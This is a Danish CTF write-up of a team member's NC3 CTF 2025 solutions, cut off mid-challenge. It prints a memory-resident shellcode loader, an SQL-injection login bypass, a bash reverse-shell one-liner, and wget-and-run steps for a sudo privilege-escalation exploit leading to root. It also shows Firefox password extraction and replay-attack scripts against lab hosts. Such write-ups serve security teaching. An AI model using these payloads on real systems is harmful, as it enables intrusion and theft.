</tr> <tr> <td><a href="#humlebiens-flugt--3">Humlebiens Flugt 🐝🐝🐝 (3)</a></td> <td>Malware</td> </tr> </tbody> </table> <h2 id="score-over-tid">Score over tid:</h2> <p><img src="https://ha1fdan.xyz/nc3_2025/Score_over_Time.png" alt="Score_over_Time.png"></p>NC3 CTF 2025

Team: Campfire Security

Total Score: 6270 points @ 17th place

Challenges jeg løste for teamet:

Challenge Kategori
RensDJyr Remix Kom godt i gang
RensdyrRygter Kom godt i gang
Drillenissen Forensics
Makulatoren Forensics
Humlebiens Flugt 🐝 (1) Malware
Gremlinshop: Autoriseret Adgang Kom godt i gang
Gremlinshop: Begravet i mængden Kom godt i gang
Nissrensics: Ræv og Nøgler Forensics
SantaShield Security #3 Boot2Root
SantaShield Security #2 Boot2Root
Ønskomania 6000 Crypto
Ønskomania 7000 Crypto
Minos 1: Initial Access Malware
Humlebiens Flugt 🐝🐝 (2) Malware
Ønskomafia Crypto
Julekortet Reversing
Ace0fbase Kom godt i gang
Minos 5: Panel Malware
Minos 7: Takedown Malware
Minos 6: Server Malware
Minos 4: Infostealer Malware
Humlebiens Flugt 🐝🐝🐝 (3) Malware

Score over tid:

Score_over_Time.png

Løsninger:

RensDJyr Remix

RensDJyr har lige droppet det hotteste remix af alle hackernissers yndlingssang på Nissify. Hans stil er speciel, og nogle skal nok vænne sig til tilføjelsen, men spectrakulært er det!

Man kan jo næsten høre farver og se musikken - kæmpe banger!

Vedhæftet fil: warmup_rensdjyr_remix.zip

Løsning: Ved at bruge et spektrumanalyseværktøj som Audacity, kunne jeg analysere lyden i filen og finde flaget skjult i frekvensspektret. Audacity frekvensspektret

Flag: NC3{VI_ER_SAMLET_HER_I_DAG_FOR_AT_HACKE}

RensdyrRygter

Springer og Lyn eeelsker at sladre til hinanden på Snissnap om de andre rensdyr, men nu vil Julemanden indføre chatkontrol og holde øje med dem. Men det er intet problem, de krypterer bare deres beskeder manuelt først for at omgå det.

Springer siger, de bare skal bruge “Diffie-Hellman” protokollen, og begge rensdyr har brugt et program til at danne et nøglepar. De har sendt deres offentlige nøgler til hinanden, og Springer er allerede begyndt at sende beskeder - men Lyn fatter altså stadig ikke, hvordan det virker.

Parametre:

  • p: 0xAB359AA76A6773ED7A93B214DB0C25D0160817B8A893C001C761E198A3694509EBE87A5313E0349D95083E5412C9FC815BFD61F95DDECE43376550FDC624E92FF38A415783B97261204E05D65731BBA1CCFF0E84C8CD2097B75FECA1029261AE19A389A2E15D2939314B184AEF707B82EB94412065181D23E04BF065F4AC413F

  • g: 2

  • Lyns private nøgle: 0x486F762064752C20646574206865722065722062617265204C796E732070726976617465206B6579202D206875736B20696B6B652061742064656C652064656E206D6564206E6F67656E21

  • Lyns offentlige nøgle: 0x9A152AFABF57B00BDB6DD3E3AA68BCCB43628E6498F4357F9A89B13CEB0467C233DFCDDBD1BFF5C40AD1FE0663B0A5BB207DFA93BB8F6E0E1CAF78C674CF19636CD360A1C67B86CF45BC34C010FF37311ABF1F076A12F56C0E79906DE8BB1BE7B39CA981ED0D5C21C1402170E16A4BBD2A6FAB0F933F14DDE9F28EE599AB235C

  • Springers offentlige nøgle: 0x39E22730E9F0B9F9039A2FB9F1C665DA1A05717400682946BC445093C3DF8D6164C5319C37E5EF688D346CA46168EE025E0675756EB1CE63F84BAA3B159545159EE621498F23BE036BD0037201E35D01E1FAFFBBD3C5A5AA3152114870430CDE4A7B48A822A4478FD9C443CFBC73C328C152409D1223F7ACA502F736B15019DC

Vedhæftet fil: warmup_rensdyrrygter.zip

Løsning: Vi ved at der bliver brugt Diffie-Hellman, så vi kan beregne den fælles hemmelige nøgle ved at bruge Lyns private nøgle og Springers offentlige nøgle med formlen: s = B^a mod p. Vi kender a (Lyns private) og B (Springers offentlige), så vi kan bare regne s ud direkte. Nøglen til AES er SHA256(long_to_bytes(s)), præcis som i skabelonen. Til sidst skal vi bare læse hver linje i skjult_sladder.txt, hex-decode, AES-ECB decrypt, unpad og print indtil vi finder flag.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import hashlib

p = int("AB359AA76A6773ED7A93B214DB0C25D0160817B8A893C001C761E198A3694509EBE87A5313E0349D95083E5412C9FC815BFD61F95DDECE43376550FDC624E92FF38A415783B97261204E05D65731BBA1CCFF0E84C8CD2097B75FECA1029261AE19A389A2E15D2939314B184AEF707B82EB94412065181D23E04BF065F4AC413F",16)
priv = int("486F762064752C20646574206865722065722062617265204C796E732070726976617465206B6579202D206875736B20696B6B652061742064656C652064656E206D6564206E6F67656E21",16)
spr = int("39E22730E9F0B9F9039A2FB9F1C665DA1A05717400682946BC445093C3DF8D6164C5319C37E5EF688D346CA46168EE025E0675756EB1CE63F84BAA3B159545159EE621498F23BE036BD0037201E35D01E1FAFFBBD3C5A5AA3152114870430CDE4A7B48A822A4478FD9C443CFBC73C328C152409D1223F7ACA502F736B15019DC",16)

key = hashlib.sha256(long_to_bytes(pow(spr, priv, p))).digest()

for line in open("skjult_sladder.txt"):
    ct = bytes.fromhex(line.strip())
    pt = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), 16)
    print(pt.decode())

Giver:

[Springer - 07:49]  Du tror det er løgn, Rudolfs stalddør stod på klem i morges, og jeg så ham stå og farve sin næse med rød ansigtsmaling - er han for real?!? 🎨🦌 So fake
[Springer - 09:12]  Hallå? Er du der eller hvad? Det er seriøst ikke så svært at få til at virke, du er så tabt man... 🤪
[Springer - 10:44]  LOL, har lige hørt Julemanden stadig tror, det var nisserne, der spiste alle hans småkager 🍪🍪😆
[Springer - 11:09]  No cap, jeg så lige Torden stå og tisse i gryden med gløgg til i aften - min mule er lukket, hvis din er! 🤫
[Springer - 11:37]  Smukke fortalte mig den anden dag, at Nissakin, en af udviklernisserne, er blevet fyret for at force pushe et commit til main 😵‍💫
[Springer - 12:24]  Ej, Komet er lige blevet spurgt på Snissnap, om han ville købe sne ❄️ Ved de ikke, vi bor på Nordpolen? 🙄
[Springer - 12:59]  Helt ærligt, hvorfor svarer du slet ikke, har du ikke fået det til at virke endnu? 🤨 Du går glip af alt det sjove!!! 😉
[Springer - 14:03]  Ahahahaha Konge prøvede at flexe sine guns for mig, men fik krampe og væltede 💪😂 Hans kinder blev seriøst rødere end Rudolfs næse 🔴
[Springer - 14:08]  Seriøst, hvis du siger noget til Julemanden om, at hans kane sagtens kan flyve uden os, så er du et dødt rensdyr, vi har brug for arbejdet 💥
[Springer - 14:28]  NC3{n0_w4y_h0rt3_l1g3_t0_n1ss3r_sn4kk3_0m_d3_l4v3r_4lt_d3r3s_l3g3t0j_m3d_AI_s3lv0m_Jull3_h4r_f0rbudt_d3t} 💀🤖
[Springer - 15:17]  Hørte du for resten, at Julemanden glemte at opdatere sin GPS sidste år og kom til at levere 14 gaver til en parkeringskælder? 🎁🤣🤣🤣
[Springer - 16:53]  Tror altså Amor og Danser har noget kørende, de bliver ved med at sniffe hinanden i bagdelen 🫣
[Springer - 18:10]  Ah men det er jo som at snakke til en væg, hvor bliver du af bro? 😠

Flag: NC3{n0_w4y_h0rt3_l1g3_t0_n1ss3r_sn4kk3_0m_d3_l4v3r_4lt_d3r3s_l3g3t0j_m3d_AI_s3lv0m_Jull3_h4r_f0rbudt_d3t}

Drillenissen

Drillenissen har været på spil i Nisseværkstedet og har haft adgang til en computer. Julemandens hjælpere mistænker, at der er foregået en større mængde drillenisseri på en af computerne og har derfor taget et memory dump.

Kan du finde ud af, hvad drillenissen har kørt på systemet, og hvad det har skjult?

Vedhæftet fil: forensics_drillenissen.zip (1.2 GiB)

Løsning: Ved at analysere memory dumpen med værktøjer som Volatility finder jeg en python fil, der indeholder noget kode, som ser mistænkelig ud.

import ctypes
import mmap
import os
import time

KEY      = 0x42
BUF_SIZE = 0x1000
NOP      = b"\x90"

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

THIS_FILE = os.path.abspath(__file__)
with open(THIS_FILE, "rb") as f:
    mm_script = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
    
    _ = mm_script.read()      
    mm_script.seek(0)        


secret_path = os.path.join(BASE_DIR, "secret.bin")
with open(secret_path, "rb") as f:
    encoded = f.read()


raw = NOP * 200 + encoded
if len(raw) < BUF_SIZE:
    raw += NOP * (BUF_SIZE - len(raw))
else:
    raw = raw[:BUF_SIZE]


kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)

PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT  = 0x1000
MEM_RESERVE = 0x2000

kernel32.VirtualAlloc.restype  = ctypes.c_void_p
kernel32.VirtualAlloc.argtypes = [
    ctypes.c_void_p,
    ctypes.c_size_t,
    ctypes.c_ulong,
    ctypes.c_ulong,
]

addr = kernel32.VirtualAlloc(
    None,
    BUF_SIZE,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
)

if not addr:
    raise ctypes.WinError(ctypes.get_last_error())

buf = (ctypes.c_ubyte * BUF_SIZE).from_buffer_copy(raw)
ctypes.memmove(ctypes.c_void_p(addr), buf, BUF_SIZE)

print(f"[+] Nisse-proces PID: {os.getpid()}")
print(f"[+] RWX buffer address: 0x{addr:016X}")
print("[+] Sabotagescript fra drillenissen aktivt.")


try:
    while True:
       
        _ = mm_script[:64]

        
        _ = ctypes.string_at(addr, 64)

        time.sleep(5)
except KeyboardInterrupt:
    pass

Python filen kan findes ved at køre: vol -f drillenissen.mem windows.dumpfiles.DumpFiles og lede efter en python fil (.py).

Så nu ved vi hvad vi leder efter i memory. Koden læser en fil secret.bin, som er XOR’et med 0x42, og loader den i en eksekverbar hukommelsesregion. Vi kan dumpe denne region ved at bruge Volatility igen:

vol -f drillenissen.mem windows.filescan | grep -i "secret.bin"
0x9985bc83ac20.0\Users\Nisseværkstedet\Documents\Gaveværkstedet\secret.bin

vol -f drillenissen.mem windows.dumpfiles --virtaddr 0x9985bc83ac20
Cache	FileObject	FileName	Result

DataSectionObject	0x9985bc83ac20	secret.bin	Error dumping file

Ikke tag dig af fejlen, filen bliver dumpet alligevel. Nu kan vi dekryptere filen med et simpelt script:

with open("secret.bin", "rb") as f:
    enc = f.read()

dec = bytes(b ^ 0x42 for b in enc)
print(dec)

Hvilket giver os:

NC3{Dr1ll3_n1ss3n_g3mm3r_s1g_i_R4M}BBBBBBBB....

Flag: NC3{Dr1ll3_n1ss3n_g3mm3r_s1g_i_R4M}

Makulatoren

Nistrid havde gemt et billede af sin Pokémonsamling og holdt det kært. En aften havde Nissen, ja ham drillenissen I alle kender, stjålet billedet og kommet det i julemakulatoren.

Stakkels Nistrid, der nu prøver at samle resterne, men det er ikke nemt uden hjælp.

Vedhæftet fil: forensics_makulatoren.zip

Løsning: Efter at have fyret op for min ChatGPT fik jeg cooket et script, der næsten finde flaget for mig.

Hvis du er interesseret i at se det fulde script, kan du finde det her: makulatoren_solve.py, nedenunder er det bedste resultat jeg kunne opnå med det:

Flag billede

Flag: NC3{Pokemonkort_i_2025_er_nostalgisk}

Humlebiens Flugt 🐝 (1)

Trusselsaktøren Humlebi er i gang med en stor malwarekampagne, hvor de spreder deres malware med samme navn via bl.a. SEO-poisoning. Malwaren er en dropper, der kommunikerer med en C2-server og kan køre commands eller bruges til at levere yderligere malware hos offeret.

Vi har fået fat på et sample af malwaren og har oplysninger om, at Humlebi bruger en “Domain Generation Algorithm” (DGA). Altså er C2-domænerne ikke hardcoded i malwaren, men genereres algoritmisk ud fra et hardcoded karaktersæt og seed.

Malwaren genererer og kontakter domæner, indtil en forbindelse lykkes. Find ud af hvilket domæne Humlebi bruger som aktiv C2-server lige nu og tilgå den side!

OBS: Programmet simulerer rigtig malware, men er fuldstændig ufarligt.

Vedhæftet fil: malware_humlebiens_flugt.zip

Løsning: Efter at have analyseret malwaren fandt jeg ud af, at den bruger en DGA baseret på et hardcoded karaktersæt og et seed. Ved at implementere DGA-algoritmen i et script, hov vent, det passer jo ikke. Hvad med at vi bare bruger en sandkasse til at køre malwaren og observere dens netværksaktivitet? :)

any.run analyse

Her ser vi domænet jul-r-hackerfest.online, som malwaren kontakter. Ved at besøge dette domæne i en browser får vi vist en side med flaget.

Du tilhører os nu NC3{https://youtu.be/M93qXQWaBdE}

Flag: NC3{https://youtu.be/M93qXQWaBdE}

Gremlinshop: Autoriseret Adgang

Julemandens Efterretningstjeneste (JET) har længe vandret blandt gremlins for at forhindre deres planer om at spolere julen. For nyligt fandt de en hjemmeside med information om en hemmelig webshop for gremlins.

Tjek den ud, og se om du kan hjælpe JET med at finde alle gremlins hemmeligheder.

https://tryhackme.com/jr/gremlinshop

Løsning: Efter at have gennemgået webapplikationen fandt jeg en sårbarhed i login-funktionen, der tillod mig at omgå autentificeringen ved hjælp af SQL-injektion. Ved at udnytte denne sårbarhed kunne jeg få adgang til admin-panelet, hvor flaget var gemt.

SQL-injektionspayloaden, der blev brugt til at logge ind som admin, var:

1234' OR 1=1 --

Dette gav mig adgang til admin-panelet, hvor jeg fandt flaget ved siden af brugernavnet “admin”.

Flag: NC3{4Lway5_s4ni7Ise_1nP8T}

Gremlinshop: Begravet i mængden

Julemandens Efterretningstjeneste (JET) har længe vandret blandt gremlins for at forhindre deres planer om at spolere julen. For nyligt fandt de en hjemmeside med information om en hemmelig webshop for gremlins.

Tjek den ud, og se om du kan hjælpe JET med at finde alle gremlins hemmeligheder.

https://tryhackme.com/jr/gremlinshop

Løsning: Ved at analysere de urls der var på hjemmesiden fandt http://10.xx.xxx.xx/item/<id>, hvor <id> var et tal. Ved at prøve forskellige id’er fra 1 og opefter fandt jeg id 13, der returnerede et flag.

<div class="row mt-2">
    <span class='fw-bold'>Beskrivelse</span>
    <span class=''>
        Hver sten larmer mere end fysikken burde tillade. Disse er særdeles effektive til at distrahere Lurifax
        
        <span class="badge text-bg-success me-2">NC3{D0_no7_5tOr3_S3cr3ts_1N_br0wse4bl6_9l4ceS}</span>
        
    </span>
</div>

Flag: NC3{D0_no7_5tOr3_S3cr3ts_1N_br0wse4bl6_9l4ceS}

Nissrensics: Ræv og Nøgler

Har været på udkig efter julegaver til min nissenevø og kom til at oprette en profil. Nu bliver jeg spammet med reklamer for legetøj, det er seriøst ræv og nøgler.

OBS: Samme image som i “Nissrensics: Vandrestien”

Da dette image er langt over 20GB har jeg valgt ikke at inkludere det her.

Løsning: Efter at have startet VM’en og undersøgt filsystemet fandt jeg Firefox browserens profilmappe. Vi kan benytte et værktøj som https://github.com/unode/firefox_decrypt til at udtrække gemte adgangskoder fra Firefox.

Select the Mozilla profile you wish to decrypt
1 -> Profiles/mnstpyk2.default
2 -> Profiles/x8lplqao.default-release
2

Website:   https://nc3ctf.dk
Username: 'Nisseya'
Password: 'megetlangtogsværtkodeord'

Website:   https://www.br.dk
Username: ''
Password: 'NC3{Ildraevens_hemmelighed_brudt}'

Flag: NC3{Ildraevens_hemmelighed_brudt}

SantaShield Security #3

Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?

https://tryhackme.com/jr/santashieldsecurity2o25

Løsning: Fra SantaShield Security #1 fandt jeg ud af at der kørte en Eshell v14.2.5.9 på port 2222. Ved at forbinde til den med ssh <ip> -p 2222 kunne jeg logge på uden password, og køre kommandoer. Her fra kan vi spawne en reverse shell til vores egen maskine:

ssh <ip> -p 2222
Eshell V14.2.5.9 (press Ctrl+G to abort, type help(). for help)
1> os:cmd("bash -c 'bash -i >& /dev/tcp/192.168.165.2/9999 0>&1'").

På vores egen maskine lytter vi med nc -lvnp 9999, og får en shell på target maskinen.

❯ nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on 10.82.191.56 36760
bash: cannot set terminal process group (575): Inappropriate ioctl for device
bash: no job control in this shell
user@debian:/opt/ssh$ cd
user@debian:~$

I hjemmemappen finder vi en fil flag.txt med flaget. Til SantaShield Security #1. Nu skal vi bare elevere vores privilegier til root. Ved at lede efter SUID-filer finder vi 2 mistænkelige filer sudo og restart_admin i /usr/local/bin/, som begge er SUID root.

user@debian:~$ find / -type f -perm /4000 2>/dev/null
...
/usr/local/bin/sudo
/usr/local/bin/restart_admin

user@debian:~$ /usr/local/bin/sudo --version
Sudo version 1.9.17

Ved at google lidt rundt fandt jeg en CVE fra 2025, der påvirker sudo versioner 1.9.14 - 1.9.17, som tillader privilege escalation. https://www.upwind.io/feed/cve%E2%80%912025%E2%80%9132463-critical-sudo-chroot-privilege-escalation-flaw

Vi kan bruge følgende GitHub repo til at udnytte sårbarheden: https://github.com/MohamedKarrab/CVE-2025-32463

Vi kan git clone repoet, zip mappen, og starte en simpel HTTP server på vores egen maskine:

git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
zip -r CVE-2025-32463.zip CVE-2025-32463/
python3 -m http.server

På target maskinen downloader vi zip filen, unzipper den, og kører exploit scriptet:

user@debian:~$ wget http://192.168.165.2:8000/CVE-2025-32463.zip
user@debian:~$ unzip CVE-2025-32463.zip
user@debian:~$ cd CVE-2025-32463/

For at køre scriptet skal vi først tilføje /usr/local/bin til vores PATH, så sudo kommandoen i scriptet bruger den sårbare SUID sudo.

user@debian:~/CVE-2025-32463$ export PATH=/usr/local/bin:$PATH
user@debian:~/CVE-2025-32463$ ./get_root.sh
./get_root.sh
[*] Detected architecture: x86_64
[*] Launching sudo with archs-dynamic payload …
id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(user)
pwd
/home/user
cd /root
ls
flag.txt
install
tmp
cat flag.txt
NC3{flag3:m3RRY_R007-R007!_4ND_xM4s}

Flag: NC3{flag3:m3RRY_R007-R007!_4ND_xM4s}

SantaShield Security #2

Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?

https://tryhackme.com/jr/santashieldsecurity2o25

Løsning: Vi fortsætter hvor vi slap i SantaShield Security #2. Vi har nu en root shell på target maskinen og skal bare finde det sidste flag. Vi starter med at tjekke /etc/passwd for interessante brugere:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
admin:x:1003:1003:admin,,,:/home/admin:/bin/rbash
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin

Her finder vi admin brugeren, som bruger rbash (restricted bash) som shell. Men siden at vi er root kan vi nemt kigge i admin’s hjemmemappe:

ls /home/admin
flag.txt
cat /home/admin/flag.txt 
NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}

Siden at flaget omtaler et jail, kan vi antage at rbash er sat op som et jail miljø for admin brugeren. Men vores CVE exploit gav os root adgang, så vi behøvede ikke at bryde ud af jailen alligevel.

Flag: NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}

Ønskomania 6000

Julemanden har ansat det nyeste IT-firma i byen, BitNisse, i håb om at kunne uddelegere hele processen med at modtage ønsker fra alle verdens børn til én besked app. For at få alle børn til at bruge appen, har Julemanden lovet, at hvert ønske et barn sender til ham forøger deres chance for at få ekstra gaver!

Da deadline for appen var 1. december, blev den kryptografiske protokol lidt halvfærdig, og nogle kryptografer er bange for, at tekniske hackerbørn kan få deres ønske registreret flere gange.

https://tryhackme.com/jr/oenskomania6000

Vedhæftet fil: crypto_oenskomania_6000.zip

Løsning: Her får du en løsnings guide for Crypto challenges i 2025:

  1. Åben https://chatgpt.com også kendt som CryptoGPT.
  2. Upload given fil til chatten.
  3. Kør given script fra chatten.
#!/usr/bin/env python3
import sys,os
from pathlib import Path
from pwn import remote, context

# sørg for at vi kan importere client-modulet
repo_root = Path(__file__).resolve().parent
sys.path.append(str(repo_root / "client"))

from client import encrypt_wish_for_santa  # type: ignore

context.log_level = "debug"   # se hele dialogen


def main():
    if len(sys.argv) < 2:
        print(f"Brug: {sys.argv[0]} <HOST>")
        sys.exit(1)

    host = sys.argv[1]
    port = 1337

    wish = "giv mig flag 🎅"
    ct = encrypt_wish_for_santa(wish)
    hex_ct = ct.hex().encode()

    print(f"[+] Forbinder til {host}:{port}")
    io = remote(host, port)

    # 1) første ønske
    print("[+] Sender første ønske...")
    io.sendlineafter(b"> ", hex_ct)
    first = io.recvline().decode(errors="ignore").strip()
    print("[<] Første respons:", first)

    # 2) replay af præcis samme ciphertext
    print("[+] Sender samme ciphertext igen...")
    io.sendlineafter(b"> ", hex_ct)
    second = io.recvline().decode(errors="ignore").strip()
    print("[<] Anden respons:", second)

    # prøv at fange evt. ekstra linje (fx flag eller farvel)
    try:
        extra = io.recvline(timeout=0.5).decode(errors="ignore").strip()
        if extra:
            print("[<] Ekstra:", extra)
    except Exception:
        pass

    io.close()


if __name__ == "__main__":
    main()
  1. Flag.
python3 exploit.py 10.82.175.7
[+] Forbinder til 10.82.175.7:1337
[+] Opening connection to 10.82.175.7 on port 1337: Done
[+] Sender første ønske...
[DEBUG] Received 0x2e bytes:
    00000000  f0 9f 8e 85  20 56 65 6c  6b 6f 6d 6d  65 6e 20 74  │····│ Vel│komm│en t│
    00000010  69 6c 20 4a  75 6c 65 6d  61 6e 64 65  6e 73 20 c3  │il J│ulem│ande│ns ·│
    00000020  b8 6e 73 6b  65 73 65 72  76 69 63 65  21 0a        │·nsk│eser│vice│!·│
    0000002e
[DEBUG] Received 0x37 bytes:
    00000000  0a f0 9f 8e  81 20 53 65  6e 64 20 65  74 20 6a 75  │····│· Se│nd e│t ju│
    00000010  6c 65 c3 b8  6e 73 6b 65  20 69 20 68  65 78 20 28  │le··│nske│ i h│ex (│
    00000020  49 4e 47 45  4e 20 47 45  4e 54 41 47  45 4c 53 45  │INGE│N GE│NTAG│ELSE│
    00000030  52 21 29 3a  0a 3e 20                               │R!):│·> │
    00000037
[DEBUG] Sent 0x91 bytes:
    b'00097b22746f5f223a317da915573c718091c07ebe42f1519bbe4d150e00000000000096075524d588d850508ec7c682ef9487b72c9dfcb6c31aad3f4a0cb6bc06bf73b13e262a53\n'
[DEBUG] Received 0x2b bytes:
    00000000  f0 9f 8e 84  20 4d 61 6e  67 65 20 74  61 6b 20 66  │····│ Man│ge t│ak f│
    00000010  6f 72 20 64  69 74 20 66  c3 b8 72 73  74 65 20 6a  │or d│it f│··rs│te j│
    00000020  75 6c 65 c3  b8 6e 73 6b  65 21 0a                  │ule·│·nsk│e!·│
    0000002b
[<] Første respons: 🎄 Mange tak for dit første juleønske!
[+] Sender samme ciphertext igen...
[DEBUG] Received 0x37 bytes:
    00000000  0a f0 9f 8e  81 20 53 65  6e 64 20 65  74 20 6a 75  │····│· Se│nd e│t ju│
    00000010  6c 65 c3 b8  6e 73 6b 65  20 69 20 68  65 78 20 28  │le··│nske│ i h│ex (│
    00000020  49 4e 47 45  4e 20 47 45  4e 54 41 47  45 4c 53 45  │INGE│N GE│NTAG│ELSE│
    00000030  52 21 29 3a  0a 3e 20                               │R!):│·> │
    00000037
[DEBUG] Sent 0x91 bytes:
    b'00097b22746f5f223a317da915573c718091c07ebe42f1519bbe4d150e00000000000096075524d588d850508ec7c682ef9487b72c9dfcb6c31aad3f4a0cb6bc06bf73b13e262a53\n'
[DEBUG] Received 0x16 bytes:
    b'NC3{Mag1c_c0py_p4st3}\n'
[<] Anden respons: NC3{Mag1c_c0py_p4st3}
[*] Closed connection to 10.82.175.7 port 1337

Flag: NC3{Mag1c_c0py_p4st3}

Ønskomania 7000

Julemanden er ved at være træt af gentagelser! BitNisse har fået en opsang, og serveren er nu blevet smart nok til, at den kan stoppe gentagelser! Men måske ikke helt smart nok?

https://tryhackme.com/jr/oensk0m4n1a7000

Løsning: For ikke at gentage hele Ønskomania 6000 løsningen igen, bruger vi da bare CryptoGPT igen :)

#!/usr/bin/env python3
import os
import json
import sys
from pathlib import Path

from pwn import remote, context
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

context.log_level = "error"  # evt. "debug" hvis du vil se alt


BASE = Path(__file__).resolve().parent


def load_shared_secret() -> bytes:
    santa_public_key = serialization.load_pem_public_key(
        (BASE / "keys" / "santa_public_key.pem").read_bytes()
    )
    hacker_private_key = serialization.load_pem_private_key(
        (BASE / "keys" / "hacker_private_key.pem").read_bytes(),
        password=None,
    )
    shared_secret = hacker_private_key.exchange(santa_public_key)
    assert isinstance(shared_secret, bytes)
    assert len(shared_secret) == 32
    return shared_secret


def derive_aes_key(shared_secret: bytes, salt: bytes) -> bytes:
    hkdf = HKDF(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        info=None,
    )
    return hkdf.derive(shared_secret)


def build_snowflake_message(wish: str) -> bytes:
    shared_secret = load_shared_secret()

    SantaID = 1
    plaintext = wish.encode()

    aad_struct = {"to_": SantaID}
    aad = json.dumps(aad_struct, separators=(",", ":")).encode()
    aad_len_bytes = len(aad).to_bytes(2, "big")

    salt = os.urandom(16)
    key = derive_aes_key(shared_secret, salt)

    # vælg nonce så snowflake=True:
    # counter = nonce[:8]
    # encoded_int = int.from_bytes(counter[1:], "little")
    # encoded_int = 1 -> zigzag -> -1 -> legit=False -> snowflake=True
    counter = bytearray(8)
    counter[1] = 1
    nonce = bytes(counter) + os.urandom(4)  # 8 + 4 = 12

    aesgcm = AESGCM(key)
    ct_and_tag = aesgcm.encrypt(nonce, plaintext, aad)

    data = aad_len_bytes + aad + salt + nonce + ct_and_tag
    return data


def main():
    if len(sys.argv) < 2:
        print(f"Brug: {sys.argv[0]} <HOST>")
        sys.exit(1)

    host = sys.argv[1]
    port = 1337

    data = build_snowflake_message("giv mig flag 🎅")
    hex_data = data.hex().encode()

    print(f"[+] Forbinder til {host}:{port}")
    io = remote(host, port)

    # læs alt frem til første ">"-prompt (som klienten gør)
    io.recvuntil(b"> ")

    # 1) første send
    print("[+] Sender første snowflake-ønske...")
    io.sendline(hex_data)

    # svar på første besked
    line1 = io.recvline().decode(errors="ignore").rstrip()
    print("[<] resp1:", line1)

    # læs frem til næste ">"-prompt (næste input)
    io.recvuntil(b"> ")

    # 2) replay samme besked
    print("[+] Replayer samme besked...")
    io.sendline(hex_data)

    # nu læser vi ALT hvad der kommer, indtil connection lukker / timeout
    while True:
        try:
            line = io.recvline(timeout=1.0)
        except EOFError:
            break
        if not line:
            break
        print("[<] out:", line.decode(errors="ignore").rstrip())

    io.close()


if __name__ == "__main__":
    main()

Kør scriptet:

python3 exploit.py 10.80.162.43

[+] Forbinder til 10.80.162.43:1337
[+] Sender første snowflake-ønske...
[<] resp1: 🎄 Mange tak for dit første juleønske!
[+] Replayer samme besked...
[<] out: NC3{G0tt4_l0v3_z1g-z4g_3nc0d1ng}

Flag: NC3{G0tt4_l0v3_z1g-z4g_3nc0d1ng}

Minos 1: Initial Access

Vi har modtaget efterretninger om, at BitNisse er blevet ramt af et angreb fra gruppen “Sarpedon” og deres infostealer malware “Minos”. Vi har kontaktet virksomheden, der endnu ikke selv var opmærksomme på angrebet.

De havde lagt mærke til, at deres PCer var begyndt at opføre sig lidt underligt, men antog, det måtte være fra en bug i det julespil, de har sendt rundt mellem hinanden for nylig på Discord.

Vi har fået et image af Joe Bitnisses computer til analyse og traffic logs fra BitNisses netværksmonitorering.

Din første opgave er at undersøge, hvordan malwaren oprindeligt kom ind på Joes computer.

Da dette disk image er langt over 20GB har jeg valgt ikke at inkludere det her.

PCAP fra netværksmonitorering kan downloades her: malware_minos.zip

Løsning: Ved at benytte Autopsy til at analysere disk imaget fandt jeg, discord’s cache mappe under C:\Users\Joe\AppData\Roaming\discord\Cache\Cache_Data. I discord’s cache befinder sig cachede filer, fra dine chats, som eg. billeder, videoer, og andre filer. Her finder jeg filen: f_00003a som indeholder et billede med flaget.

Billede af flaget

Flag: NC3{dont_click_on_random_links_and_binaries_from_your_friends}

Humlebiens Flugt 🐝🐝 (2)

Humlebi har lige igangsat en ny stor kampagne, og vi har endnu ikke fået fat på et sample.

Seedet skifter i hver kampagne og er ikke kendt. De har også skiftet karaktersæt, men det er blevet lækket på et hackingforum:

54t0391gnkmpbrqnvilaowzhcyej-usfx6d7

Vi har ingen grund til at tro, at selve DGAen er ændret, så den fungerer fortsat som i vores sample fra sidste kampagne. Kun seed og karaktersæt er udskiftet.

Vi har gennem vores monitorering løbende opsnappet tre C2-domæner, der har været registreret og anvendt af Humlebi:

cwpnbyd6yslfnmx7.online
cn6uhtnlyynfbe4q.online
rlexd44lnnnq1igg.online

